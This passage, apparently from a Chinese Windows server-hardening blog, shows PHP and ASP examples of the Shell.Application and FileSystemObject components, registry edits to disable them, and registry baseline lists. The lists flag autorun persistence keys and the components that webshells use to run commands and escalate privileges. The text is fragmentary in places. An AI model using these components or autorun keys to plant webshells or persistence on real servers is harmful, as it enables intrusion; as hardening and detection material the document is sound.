只有命令行程序在CMD.EXE運行環境下才能夠進行臨時文件回顯(利用"">""符號),其它程序只能執行不能回顯.<br/> 程序文件默認爲cmd.exe,請自定義路徑,參數處直接寫命令.<hr/> </form>
<?php $wsh = new COM('Shell.Application') or die("Shell.Application"); $exec = $wsh->open("c:\\windows\\system32\\notepad.exe"); //$exec = $wsh->ShellExecute("c:\\windows\\system32\\notepad.exe"); ?>
禁用此組件的方法
1. HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540000}: 刪除 2. HKEY_CLASSES_ROOT\Shell.Application: 更名爲 HKEY_CLASSES_ROOT\Shell.Application_bak 3. HKEY_CLASSES_ROOT\Shell.Application.1: 更名爲 HKEY_CLASSES_ROOT\Shell.Application.1_bak 4. HKEY_CLASSES_ROOT\Shell.Application\CLSID\項目的值: 項目的值改成其餘值(刪除效果也是同樣的) 5. HKEY_CLASSES_ROOT\Shell.Application.1\CLSID\項目的值: 項目的值改成其餘值(刪除效果也是同樣的) /* regsvr32/u C:\WINDOWS\system32\shell32.dll del C:\WINDOWS\system32\shell32.dll */
Relevant Link:
http://www.xishuiw.com/info/2011-1/2011-1-7-28188.htm http://ss64.com/vb/shellexecute.html http://www.2cto.com/Article/201308/232922.html http://www.tdblog.cn/m/?post=125
如今愈來愈多的網站使用動態生成靜態頁的技術,就是信息在寫入數據庫的同時,使用系統的FSO組件來生成html格式的靜態頁,這樣能提升用戶的訪問速度。這樣系統在配置的時候,須要載入FSO組件(File System Object) 。
FSO(FileSystemObject)是微軟ASP的一個對文件操做的控件,該控件能夠對服務器進行讀取、新建、修改、刪除目錄以及文件的操做。是ASP編程中很是有用的一個控件。可是由於權限控制的問題,不少虛擬主機服務器的FSO反而成爲這臺服務器的一個公開的後門,由於客戶能夠在本身的ASP網頁裏面直接就對該控件編程,從而控制該服務器甚至刪除服務器上的文件
FSO對象模型包含在Scripting 類型庫(Scrrun.Dll)中,它同時包含了5個對象:
1. Drive: Drive用來收集驅動器的信息,如可用磁盤空間或驅動器的類型 2. Folder: Folder用於建立、刪除或移動文件夾,同時能夠進行向系統查詢文件夾的路徑等操做 3. File: File的基本操做和Folder基本相同,所不一樣的是Files的操做主要是針對磁盤上的文件進行的 4. FileSystemObject: FileSystemObject是FSO對象模型中最主要對象,它提供了一套完整的可用於建立、刪除文件和文件夾,收集驅動器、文件夾、文件相關信息的方法。須要注意的是,FSO對象模型提供的方法是冗餘的,也就是說在實際使用中,FSO對象模型中包含的不一樣對象的不一樣方法進行的倒是一樣的操做,並且FileSystemObject對象的方法直接做用於其他對象 5. TextStream: extStream對象則是用來完成對文件的讀寫操做
1. 首先在系統目錄中查找scrrun.dll,若是存在這個文件,請跳到第三步,若是沒有,請執行第二步 2. 在系統安裝盤i386目錄中找到scrrun.dl_,用winrar解壓縮,得scrrun.dll,而後複製到你的系統目錄c:windowssystem32目錄中。 3. 運行regsvr32 scrrun.dll便可。 4. 若是想關閉FSO組件,請運行 regsvr32 /u scrrun.dll便可。 adodb.stream組件 regsvr32 "C:Program FilesCommon FilesSystemadomsado15.dll" 便可再次支持adodb.stream組件
1. 建立文件 dim fso, f set fso = server.CreateObject("Scripting.FileSystemObject") set f = fso.CreateTextFile("C:\test.txt", true) '第二個參數表示目標文件存在時是否覆蓋 f.Write("寫入內容") f.WriteLine("寫入內容並換行") f.WriteBlankLines(3) '寫入三個空白行(至關於在文本編輯器中按三次回車) f.Close() set f = nothing set fso = nothing 2. 打開並讀文件 dim fso, f set fso = server.CreateObject("Scripting.FileSystemObject") set f = fso.OpenTextFile("C:\test.txt", 1, false) '第二個參數 1 表示只讀打開,第三個參數表示目標文件不存在時是否建立 f.Skip(3) '將當前位置向後移三個字符 f.SkipLine() '將當前位置移動到下一行的第一個字符,注意:無參數 response.Write f.Read(3) '從當前位置向後讀取三個字符,並將當前位置向後移三個字符 response.Write f.ReadLine() '從當前位置向後讀取直到遇到換行符(不讀取換行符),並將當前位置移動到下一行的第一個字符,注意:無參數 response.Write f.ReadAll() '從當前位置向後讀取,直到文件結束,並將當前位置移動到文件的最後 if f.atEndOfLine then response.Write("一行的結尾!") end if if f.atEndOfStream then response.Write("文件的結尾!") end if f.Close() set f = nothing set fso = nothing 3. 打開並寫文件 dim fso, f set fso = server.CreateObject("Scripting.FileSystemObject") set f = fso.OpenTextFile("C:\test.txt", 2, false) '第二個參數 2 表示重寫,若是是 8 表示追加 f.Write("寫入內容") f.WriteLine("寫入內容並換行") f.WriteBlankLines(3) '寫入三個空白行(至關於在文本編輯器中按三次回車) f.Close() set f = nothing set fso = nothing 4. 判斷文件是否存在 dim fso set fso = server.CreateObject("Scripting.FileSystemObject") if fso.FileExists("C:\test.txt") then response.Write("目標文件存在") else response.Write("目標文件不存在") end if set fso = nothing 5. 移動文件 dim fso set fso = server.CreateObject("Scripting.FileSystemObject") call fso.MoveFile("C:\test.txt", "D:\test111.txt") '兩個參數的文件名部分能夠不一樣 set fso = nothing 6. 複製文件 dim fso set fso = server.CreateObject("Scripting.FileSystemObject") call fso.CopyFile("C:\test.txt", "D:\test111.txt") '兩個參數的文件名部分能夠不一樣 set fso = nothing 7. 刪除文件 dim fso set fso = server.CreateObject("Scripting.FileSystemObject") fso.DeleteFile("C:\test.txt") set fso = nothing 8. 建立文件夾 dim fso set fso = server.CreateObject("Scripting.FileSystemObject") fso.CreateFolder("C:\test") '目標文件夾的父文件夾必須存在 set fso = nothing 9. 判斷文件夾是否存在 dim fso set fso = server.CreateObject("Scripting.FileSystemObject") if fso.FolderExists("C:\Windows") then response.Write("目標文件夾存在") else response.Write("目標文件夾不存在") end if set fso = nothing 10. 刪除文件夾 dim fso set fso = server.CreateObject("Scripting.FileSystemObject") fso.DeleteFolder("C:\test") '文件夾沒必要爲空 set fso = nothing //FSO不能操做二進制文件,要操做二進制文件,使用ADODB.Stream
禁用FSO組件的方法
1. 用RegSrv32 /u C:\WINDOWS\SYSTEM\scrrun.dll 2. 修改Progid的值: 在ASP裏調用組件的方式一般是 Set 對象名 = Server. CreateObject("Progid"),這時候咱們就能夠經過修改註冊表中的Progid值從達到禁用該組件的方法 HKEY_CLASSES_ROOT\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\ProgID: 將默認值改成 Scripting.FileSystemObject_bak 3. HKEY_CLASSES_ROOT\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}: 改成HKEY_CLASSES_ROOT\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054229},改變CLSID號,使調用失敗 4. HKEY_CLASSES_ROOT\Scripting.FileSystemObject: 改成 HKEY_CLASSES_ROOT\Scripting.FileSystemObject_bak 5. HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\項目的值: 項目的值改成其餘值(刪除效果也是同樣的)
Relevant Link:
http://sujian.blog.51cto.com/8838/3788 http://www.15897.com/blog/post/ASP-FSO-zujian-xiangjie-shuoming.html http://www.williamlong.info/archives/89.html http://www.mydiannao.com/article/show.asp?id=3902 http://www.xishuiw.com/info/2011-1/2011-1-7-28188.htm http://service.oray.com/question/349.html
Relevant Link:
https://support.microsoft.com/zh-cn/kb/314837 http://www.xitonghe.com/jiaocheng/windows7-2587.html http://www.windowsnetworking.com/kbase/WindowsTips/WindowsNT/RegistryTips/Registry/DisableRemoteRegistryEditing.html
1. HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load 1) expectedvalue: 空 2) discription: 可疑風險自動啓動項,會隨着WINDOWS系統啓動的時候自動啓動 2. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit 1) expectedvalue: 空 2) discription: 可疑風險自動啓動項,會隨着WINDOWS系統啓動時自動初始化程序 3. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run 1) expectedvalue: 空 2) discription: 可疑風險自動啓動項,會隨着WINDOWS系統啓動的時候自動啓動 4. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run 1) expectedvalue: 空 2) discription: 可疑風險自動啓動項,會隨着WINDOWS系統啓動的時候自動啓動 7. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce 1) expectedvalue: 空 2) discription: 可疑風險自動啓動項,會隨着WINDOWS系統啓動的時候自動啓動 8. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce 1) expectedvalue: 空 2) discription: 可疑風險自動啓動項,會隨着WINDOWS系統啓動的時候自動啓動 9. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices 1) expectedvalue: 空 2) discription: 可疑風險自動啓動項,會隨着WINDOWS系統啓動的時候自動啓動 10. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices 1) expectedvalue: 空 2) discription: 可疑風險自動啓動項,會隨着WINDOWS系統啓動的時候自動啓動 11. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup 1) expectedvalue: 空 2) discription: 可疑風險自動啓動項,會隨着WINDOWS系統啓動的時候自動啓動 12. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Setup 1) expectedvalue: 空 2) discription: 可疑風險自動啓動項,會隨着WINDOWS系統啓動的時候自動啓動 13. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce: 1) expectedvalue: 空 2) discription: 可疑風險自動啓動項,會隨着WINDOWS系統啓動的時候自動啓動 14. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce 1) expectedvalue: 空 2) discription: 可疑風險自動啓動項,會隨着WINDOWS系統啓動的時候自動啓動 15. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx 1) expectedvalue: 空 2) discription: 可疑風險自動啓動項,會隨着WINDOWS系統啓動的時候自動啓動 16. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 1) expectedvalue: 空 2) discription: 可疑風險自動啓動項,會隨着WINDOWS系統啓動的時候自動啓動 17. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1) expectedvalue: 空 2) discription: 可疑風險自動啓動項,會隨着WINDOWS系統啓動的時候自動啓動
1. HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer\NoDrives 1) expectedvalue: 0 2) discription: 當前啓動了磁盤驅動隱藏,屬於風險行爲
1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\EnableDCOM 1) expectedvalue: "N" 2) discription: 135端口主要用於使用RPC(Remote Procedure Call,遠程過程調用)協議並提供DCOM(分佈式組件對象模型)服務,"衝擊波"病毒,該病毒就是利用RPC漏洞來攻擊計算機的。RPC自己在處理經過TCP/IP的消息交換部分有一個漏洞,該漏洞是因爲錯誤地處理格式不正確的消息形成的。該漏洞會影響到RPC與DCOM之間的一個接口,該接口偵聽的端口就是135,爲了不"衝擊波"病毒以及其餘RPC漏洞的攻擊,建議關閉該端口 2. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\DCOM Protocols 1) expectedvalue: not contain "ncacn_ip_tcp" 2) discription: 135端口主要用於使用RPC(Remote Procedure Call,遠程過程調用)協議並提供DCOM(分佈式組件對象模型)服務,"衝擊波"病毒,該病毒就是利用RPC漏洞來攻擊計算機的。RPC自己在處理經過TCP/IP的消息交換部分有一個漏洞,該漏洞是因爲錯誤地處理格式不正確的消息形成的。該漏洞會影響到RPC與DCOM之間的一個接口,該接口偵聽的端口就是135,爲了不"衝擊波"病毒以及其餘RPC漏洞的攻擊,建議關閉該端口 3. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\SMBDeviceEnabled 1) expectedvalue: 0 2) discription: 445端口是一個譭譽參半的端口,他和139端口一塊兒是IPC$入侵的主要通道。有了它咱們能夠在局域網中輕鬆訪問各類共享文件夾或共享打印機,但也正是由於有了它,黑客們纔有了可乘之機,攻擊者能經過該端口共享受害者的硬盤,甚至會在悄無聲息中將硬盤格式化掉 4. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RestrictAnonymous 1) expectedvalue: not "0" 2) discription: 禁用IPC$空鏈接,能夠防止遠程用戶的匿名訪問 5. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBt\Parameters\BacklogIncrement 1) expectedvalue: >=3 2) discription: 在創建鏈接時,若是BetBT發現可用的鏈接塊數目小於2個,會自動的再分配可用鏈接塊,NetBT每次增長的鏈接塊的數目定義在註冊表中的雙字節值項BacklogIncrement中,適當增大此值能夠提升併發鏈接速度 6. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\EnableDynamicBacklog 1) expectedvalue: 1 2) discription: 對於網絡繁忙或者易遭受SYN攻擊的系統,建議設置爲1,表示容許動態Backlog 7. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\MinimumDynamicBacklog 1) expectedvalue: 20 2) discription: 表示動態Backlog分配的自由鏈接的最小數目。當自由鏈接數目低於此數目時,將自動的分配自由鏈接,對於網絡繁忙或者易遭受SYN攻擊的系統,建議設置爲20 8. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\MaximumDynamicBacklog 1) expectedvalue: >= 20000 2) discription: 表示定義最大"準"鏈接的數目。"準"鏈接包括自由鏈接和半鏈接,對於網絡繁忙或者易遭受SYN攻擊的系統,應該設置此值,大小取決於內存的多少。通常來講,每32M內存最大能夠增長5000個 9. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\DynamicBacklogGrowthDelta 1) expectedvalue: >= 10 2) discription: 表示定義每次增長的自由鏈接數目,對於網絡繁忙或者易遭受SYN攻擊的系統,建議設置大於等於10 10. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\SynAttackProtect 1) expectedvalue: 2 2) discription: SYN淹沒攻擊保護特性可以在系統層面阻擋一部分SYN攻擊 11. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxPortsExhausted 1) expectedvalue: 5 2) discription: 設定系統啓動SYN淹沒攻擊保護以前的TCP鏈接數上限 12. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxHalfOpen 1) expectedvalue: 500 2) discription: 設定系統啓動SYN淹沒攻擊保護以前的SYN半開鏈接數上限 13. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxHalfOpenRetried 1) expectedvalue: 400 2) discription: 設定系統最大的半開鏈接重試次數 14. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxConnectResponseRetransmissions 1) expectedvalue: 2 2) discription: 定義了對於鏈接請求迴應包的重發次數,若是該值爲1,則SYN淹沒攻擊不會有效果,可是這樣會形成鏈接請求失敗概率的升高,建議設置爲2 15. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxDataRetransmissions 1) expectedvalue: 2 2) discription: 定義了對於數據包發送請求迴應包的重發次數,若是該值爲1,則SYN淹沒攻擊不會有效果,可是這樣會形成鏈接請求失敗概率的升高,建議設置爲2 16. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\EnablePMTUDiscovery 1) expectedvalue: 0 2) discription: 防護TCP碎片攻擊 17. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\KeepAliveTime 1) expectedvalue: 300000 2) discription: 設置系統發送KeepAlive存活包時間間隔 18. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netbt\Parameters\NoNameReleaseOnDemand 1) expectedvalue: 1 2) discription: 設置是否釋放NetBIOS name,當接收到一個name-release請求包 19. HKLM\System\CurrentControlSet\Services\TcpIp\Parameters\EnableICMPRedirect 1) expectedvalue: 0 2) discription: 防護ICMP重定向攻擊,檢查有可能用以攻擊的ICMP重定向報文 20. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableDeadGWDetect 1) expectedvalue: 0 2) discription: 防護SNMP劫持攻擊,檢查無效網關,以便優化網絡 21. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DisableIPSourceRouting 1) expectedvalue: 1 2) discription: 禁止IP源路由建議丟棄全部接受的源路由包 22. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableMulticastForwarding 1) expectedvalue: 0 2) discription: 禁止轉發IP廣播數據包 23. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter 1) expectedvalue: 0 2) discription: 禁止路由發現功能,ICMP路由通告報文能夠被用來增長路由表記錄,能夠致使攻擊 24. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableAddrMaskReply 1) expectedvalue: 0 2) discription: 禁止接收ICMP地址掩碼數據包
1. HKEY_CLASSES_ROOT\WScript.Shell 1) expectedvalue: not exist 2) discription: W.Shell組件經常被黑客用來執行vbs腳本,黑客經過WEBSEHLL或者其餘上傳漏洞上傳vbs提權腳本並執行,除此以外,黑客也上傳ASP、ASP.NET WEBSHELL(其中包含了W.Shell的調用),建議重命名此表項 2. HKEY_CLASSES_ROOT\WScript.Shell.1 1) expectedvalue: not exist 2) discription: W.Shell組件經常被黑客用來執行vbs腳本,黑客經過WEBSEHLL或者其餘上傳漏洞上傳vbs提權腳本並執行,除此以外,黑客也上傳ASP、ASP.NET WEBSHELL(其中包含了W.Shell的調用),建議重命名此表項 3. HKEY_CLASSES_ROOT\WScript.Shell\CLSID\ 1) expectedvalue: not {72C24DD5-D70A-438B-8A42-98424B88AFB8} 2) discription: W.Shell組件經常被黑客用來執行vbs腳本,黑客經過WEBSEHLL或者其餘上傳漏洞上傳vbs提權腳本並執行,除此以外,黑客也上傳ASP、ASP.NET WEBSHELL(其中包含了W.Shell的調用),建議重命名此表項 4. HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\ 1) expectedvalue: not {72C24DD5-D70A-438B-8A42-98424B88AFB8} 2) discription: W.Shell組件經常被黑客用來執行vbs腳本,黑客經過WEBSEHLL或者其餘上傳漏洞上傳vbs提權腳本並執行,除此以外,黑客也上傳ASP、ASP.NET WEBSHELL(其中包含了W.Shell的調用),建議重命名此表項 5. HKEY_CLASSES_ROOT\Shell.Application 1) expectedvalue: not exist 2) discription: shell.application這個組件經常被黑客用來部署WEBSHELL惡意文件,執行系統指令並提權 6. HKEY_CLASSES_ROOT\Shell.Application.1 1) expectedvalue: not exist 2) discription: shell.application這個組件經常被黑客用來部署WEBSHELL惡意文件,執行系統指令並提權 7. HKEY_CLASSES_ROOT\Shell.Application\CLSID\項目的值 1) expectedvalue: not {13709620-C279-11CE-A49E-444553540000} 2) discription: shell.application這個組件經常被黑客用來部署WEBSHELL惡意文件,執行系統指令並提權 8. HKEY_CLASSES_ROOT\Shell.Application.1\CLSID\項目的值 1) expectedvalue: not {13709620-C279-11CE-A49E-444553540000} 2) discription: shell.application這個組件經常被黑客用來部署WEBSHELL惡意文件,執行系統指令並提權 9. HKEY_CLASSES_ROOT\Scripting.FileSystemObject 1) expectedvalue: not exist 2) discription: FSO對象經常被黑客利用進行WEBSHELL惡意文件上傳 10. HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\項目的值 1) expectedvalue: not {0D43FE01-F093-11CF-8940-00A0C9054228} 2) discription: FSO對象經常被黑客利用進行WEBSHELL惡意文件上傳 11. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA\RestrictAnonymous 1) expectedvalue: 00000001 2) discription: 禁止遠程訪問操做註冊表,建議關閉 12. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters\AutoShareServer 1) expectedvalue: 0 2) discription: 禁止默認啓動WINDOWS共享文件夾($ADMIN、$C、$D.)
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Run HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer/Run HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/Policies/Explorer HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServicesOnce HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnceEx HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System/Shell HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/RecentDocs HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce/Setup HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows/load HKEY_CURRENT_USER/SOFTWARE/Microsoft/Internet Explorer/TypedURLs HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main HKEY_CURRENT_USER/SOFTWARE/Microsoft/Command Processor/ HKEY_CURRENT_USER/SOFTWARE/Policies/Microsoft/Windows/System/Scripts HKEY_CURRENT_USER/SOFTWARE/Policies/Microsoft/Windows/System/Scripts/Logon HKEY_CURRENT_USER/SOFTWARE/Policies/Microsoft/Windows/System/Scripts/Logoff HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer/Run HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Browser Helper Objects/ HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/ShellExecuteHooks/ HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServicesOnce HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnceEx HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce/Setup HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/ShellServiceObjectDelayLoad HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System/ HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Group Policy/Scripts/Startup HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Group Policy/Scripts/Shutdown HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon/GPExtensions/ HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon/Notify/ HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon/Userinit HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/AppCompatFlags/Custom HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/AppCompatFlags/InstalledSDB HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/NetworkList/Profiles HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows/AppInit_DLLs HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows/LoadAppInit_DLLs HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Command Processor/ HKEY_LOCAL_MACHINE/SOFTWARE/Classes/lnkfile/IsShortcut HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Folder/shell/yourappname HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Folder/shell/yourappname/command HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Directory/shell/yourappname HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Directory/shell/yourappname/command HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Drive/shell/yourappname HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Drive/shell/yourappname/command HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/System/Scripts HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/System/Scripts/Logon HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/System/Scripts/Logoff HKEY_LOCAL_MACHINE/SOFTWARE/Wow6432Node/Microsoft/Windows NT/CurrentVersion/Windows/AppInit_DLL HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SharedAccess/Parameters/FirewallPolicy/StandardProfile HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SecurityHealthService HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Winsock2/Parameters/Protocol_Catalog9/Catalog_Entries/ HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/ExcludeFromKnownDlls HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/KnownDLLs/ HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/WOW/Control/Session Manager/Environment/ HKEY_LOCAL_MACHINE/SYSTEM/Services/CurrentControlSet/services/Tcpip/Parameters/Interfaces HKEY_LOCAL_MACHINE/SYSTEM/ControlSet00x/Enum/USBSTOR HKEY_LOCAL_MACHINE/SYSTEM/MountedDevices HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Ole/EnableDCOM HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Rpc/DCOM Protocols HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/NetBT/Parameters/SMBDeviceEnabled HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa/RestrictAnonymous HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/NetBt/Parameters/BacklogIncrement HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/AFD/Parameters/EnableDynamicBacklog HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/AFD/Parameters/MinimumDynamicBacklog HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/AFD/Parameters/MaximumDynamicBacklog HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/AFD/Parameters/DynamicBacklogGrowthDelta HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services/Tcpip/Parameters/SynAttackProtect HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/TcpMaxPortsExhausted HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/TcpMaxHalfOpen HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/TcpMaxHalfOpenRetried HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/TcpMaxConnectResponseRetransmissions HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/TcpMaxDataRetransmissions HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/EnablePMTUDiscovery HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/KeepAliveTime HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Netbt/Parameters/NoNameReleaseOnDemand HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/TcpIp/Parameters/EnableICMPRedirect HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters/EnableDeadGWDetect HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters/DisableIPSourceRouting HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters/EnableMulticastForwarding HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters/IPEnableRouter HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters/EnableAddrMaskReply HKEY_CLASSES_ROOT/WScript.Shell HKEY_CLASSES_ROOT/WScript.Shell.1 HKEY_CLASSES_ROOT/WScript.Shell/CLSID/ HKEY_CLASSES_ROOT/WScript.Shell.1/CLSID/ HKEY_CLASSES_ROOT/Shell.Application HKEY_CLASSES_ROOT/Shell.Application.1 HKEY_CLASSES_ROOT/Shell.Application/CLSID/項目的值 HKEY_CLASSES_ROOT/Shell.Application.1/CLSID/項目的值 HKEY_CLASSES_ROOT/Scripting.FileSystemObject HKEY_CLASSES_ROOT/Scripting.FileSystemObject/CLSID/項目的值 